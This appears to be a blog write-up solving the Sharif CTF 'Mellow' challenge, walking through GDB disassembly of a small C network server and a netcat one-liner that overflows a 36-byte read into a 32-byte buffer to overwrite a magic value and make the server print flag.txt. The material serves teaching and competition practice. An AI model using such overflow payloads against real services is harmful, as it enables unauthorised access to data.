Hi all,

At this post i'm going to explain about Sharif's 100 Point exploiting CTF that called 'Mellow'. Mellow seems to be a server written in c. It requires an argument which specify the port number.

# ls
# tar zxf mellow.tar.gz 
# ls
mellow  mellow.tar.gz
# file mellow
mellow: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x7952cca72613bc1da855e9b9d2e59316fe004b36, not stripped
# chmod +x mellow
# ls -la
total 32
drwxr-xr-x 2 root root  4096 Oct  5 09:57 .
drwxr-xr-x 7 root root  4096 Oct  5 09:55 ..
-rwxr-xr-x 1 3066 3066 12656 Sep 30 19:14 mellow
-rw------- 1 root root  4391 Oct  4 16:09 mellow.tar.gz
# ./mellow 8888

[Terminal 2]
# nc 8888

[Back to Terminal 1]

First of all i tried some tests to check availablity of BoF or FMT vulnerabilites, and they failed. So it's time to check the binary in GDB.

# gdb ./mellow -q
Reading symbols from /home/hamidx9/developing/sharif-ctf/mellow-ctf/mellow...(no debugging symbols found)...done.
gdb-peda$ pdisass main
Dump of assembler code for function main:
  0x08048a09 <+0>:  push   %ebp
  0x08048a0a <+1>:  mov    %esp,%ebp
  0x08048a0c <+3>:  and    $0xfffffff0,%esp
  0x08048a0f <+6>:  sub    $0xf0,%esp
  0x08048ca2 <+665>:    call   0x80489ec <error>
  0x08048ca7 <+670>:    cmpl   $0x0,0xe0(%esp)
  0x08048caf <+678>:    jne    0x8048c48 <main+575>
  0x08048cb1 <+680>:    mov    0xec(%esp),%eax
  0x08048cb8 <+687>:    mov    %eax,(%esp)
  0x08048cbb <+690>:    call   0x80488e0 <close@plt>
  0x08048cc0 <+695>:    lea    0x30(%esp),%eax
  0x08048cc4 <+699>:    mov    %eax,(%esp)
  0x08048cc7 <+702>:    call   0x8048ded <connection_info>
  0x08048ccc <+707>:    lea    0x30(%esp),%eax
  0x08048cd0 <+711>:    mov    %eax,0x4(%esp)
  0x08048cd4 <+715>:    mov    0xe4(%esp),%eax
  0x08048cdb <+722>:    mov    %eax,(%esp)
  0x08048cde <+725>:    call   0x8048cef <serve>
  0x08048ce3 <+730>:    movl   $0x0,(%esp)
  0x08048cea <+737>:    call   0x80487f0 <exit@plt>
End of assembler dump.

in the main function everything seems to be normal. According to output and disassembling, connection_info function shows the established connection information like "[Connection] ". But the last thing is disassembling 'serve' function.

gdb-peda$ pdisass serve
Dump of assembler code for function serve:
  0x08048cef <+0>:  push   %ebp
  0x08048cf0 <+1>:  mov    %esp,%ebp
  0x08048cf2 <+3>:  sub    $0x48,%esp
  0x08048cf5 <+6>:  movl   $0x0,-0x14(%ebp)
  0x08048cfc <+13>: movl   $0x0,-0x10(%ebp)
  0x08048d03 <+20>: movl   $0x20,0x4(%esp)
  0x08048d0b <+28>: lea    -0x34(%ebp),%eax
  0x08048d0e <+31>: mov    %eax,(%esp)
  0x08048d11 <+34>: call   0x8048730 <bzero@plt>
  0x08048d16 <+39>: movl   $0x24,0x8(%esp)
  0x08048d1e <+47>: lea    -0x34(%ebp),%eax
  0x08048d21 <+50>: mov    %eax,0x4(%esp)
  0x08048d25 <+54>: mov    0x8(%ebp),%eax
  0x08048d28 <+57>: mov    %eax,(%esp)
  0x08048d2b <+60>: call   0x8048700 <read@plt>
  0x08048d30 <+65>: mov    %eax,-0x10(%ebp)
  0x08048d33 <+68>: mov    -0x10(%ebp),%eax
  0x08048d36 <+71>: test   %eax,%eax
  0x08048d38 <+73>: jns    0x8048d46 <serve+87>
  0x08048d3a <+75>: movl   $0x804910b,(%esp)
  0x08048d41 <+82>: call   0x80489ec <error>
  0x08048d46 <+87>: mov    -0x14(%ebp),%eax
  0x08048d49 <+90>: cmp    $0x33763167,%eax
  0x08048d4e <+95>: jne    0x8048dca <serve+219>
  0x08048d50 <+97>: mov    0xc(%ebp),%eax
  0x08048d53 <+100>:    mov    %eax,(%esp)
  0x08048d56 <+103>:    call   0x8048e7a <connection_gotflag>
  0x08048d5b <+108>:    movl   $0x22,0x8(%esp)
  0x08048d63 <+116>:    movl   $0x8049128,0x4(%esp)
  0x08048d6b <+124>:    mov    0x8(%ebp),%eax
  0x08048d6e <+127>:    mov    %eax,(%esp)
  0x08048d71 <+130>:    call   0x8048820 <write@plt>
  0x08048d76 <+135>:    mov    %eax,-0x10(%ebp)
  0x08048d79 <+138>:    movl   $0x804914a,(%esp)
  0x08048d80 <+145>:    call   0x8048f07 <readfile>
  0x08048d85 <+150>:    mov    %eax,-0xc(%ebp)
  0x08048d88 <+153>:    mov    -0xc(%ebp),%eax
  0x08048d8b <+156>:    mov    %eax,(%esp)
  0x08048d8e <+159>:    call   0x8048800 <strlen@plt>
  0x08048d93 <+164>:    mov    %eax,0x8(%esp)
  0x08048d97 <+168>:    mov    -0xc(%ebp),%eax
  0x08048d9a <+171>:    mov    %eax,0x4(%esp)
  0x08048d9e <+175>:    mov    0x8(%ebp),%eax
  0x08048da1 <+178>:    mov    %eax,(%esp)
  0x08048da4 <+181>:    call   0x8048820 <write@plt>
  0x08048da9 <+186>:    mov    %eax,-0x10(%ebp)
  0x08048dac <+189>:    mov    -0xc(%ebp),%eax
  0x08048daf <+192>:    mov    %eax,(%esp)
  0x08048db2 <+195>:    call   0x8048720 <free@plt>
  0x08048db7 <+200>:    mov    -0x10(%ebp),%eax
  0x08048dba <+203>:    test   %eax,%eax
  0x08048dbc <+205>:    jns    0x8048dca <serve+219>
  0x08048dbe <+207>:    movl   $0x8049153,(%esp)
  0x08048dc5 <+214>:    call   0x80489ec <error>
  0x08048dca <+219>:    movl   $0x2,0x4(%esp)
  0x08048dd2 <+227>:    mov    0x8(%ebp),%eax
  0x08048dd5 <+230>:    mov    %eax,(%esp)
  0x08048dd8 <+233>:    call   0x80488d0 <shutdown@plt>
  0x08048ddd <+238>:    mov    0x8(%ebp),%eax
  0x08048de0 <+241>:    mov    %eax,(%esp)
  0x08048de3 <+244>:    call   0x80488e0 <close@plt>
  0x08048de8 <+249>:    mov    %eax,-0x10(%ebp)
  0x08048deb <+252>:    leave  
  0x08048dec <+253>:    ret    

At this function 'connection_gotflag' seems to be valuable ;). It shows a string like "[Flag]". So it depends on compartions that executed before. Also we have a interesting readfile function later after the conditions :

0x08048d80 <+145>:   call   0x8048f07 <readfile>

that read a file called 'flag.txt' :

gdb-peda$ x/s 0x804914a
0x804914a:   "flag.txt"

also according to write@plt :

gdb-peda$ x/s 0x8049128
0x8049128:   "Congratulations! here's the key: "

So we find the path. Let me check the condition :

0x08048d46 <+87>:    mov    -0x14(%ebp),%eax
0x08048d49 <+90>:    cmp    $0x33763167,%eax
0x08048d4e <+95>:    jne    0x8048dca <serve+219>
0x08048d50 <+97>:    mov    0xc(%ebp),%eax

mmm, At 0x08048d49 we have a compration. if i start the program and set a breakpoint on 0x08048d49 the %eax is somewhere in my string that sent before.

Ok, x86 arch is little-endian so :

# python -c 'print "\x67\x31\x76\x33"' 

The easiest way is :

# echo HAMIDx9 > flag.txt
# python -c 'print "\x67\x31\x76\x33"*100' | nc 8888
Congratulations! here's the key: HAMIDx9

[Terminal 1]

Congratz ;), it works well.

if you have to go further, debugging shows that the buffer is 36 Byte and %eax point to the last 4 Byte.

So ...

# python -c 'print "g1v3"*8' | nc 8888
# python -c 'print "g1v3"*9' | nc 8888
Congratulations! here's the key: HAMIDx9
# python -c 'print "A"*32+"g1v3"' | nc 8888
Congratulations! here's the key: HAMIDx9

It was so easy to get 100 point ;)

I hope it would be useful for someone.

G00D LuCk;)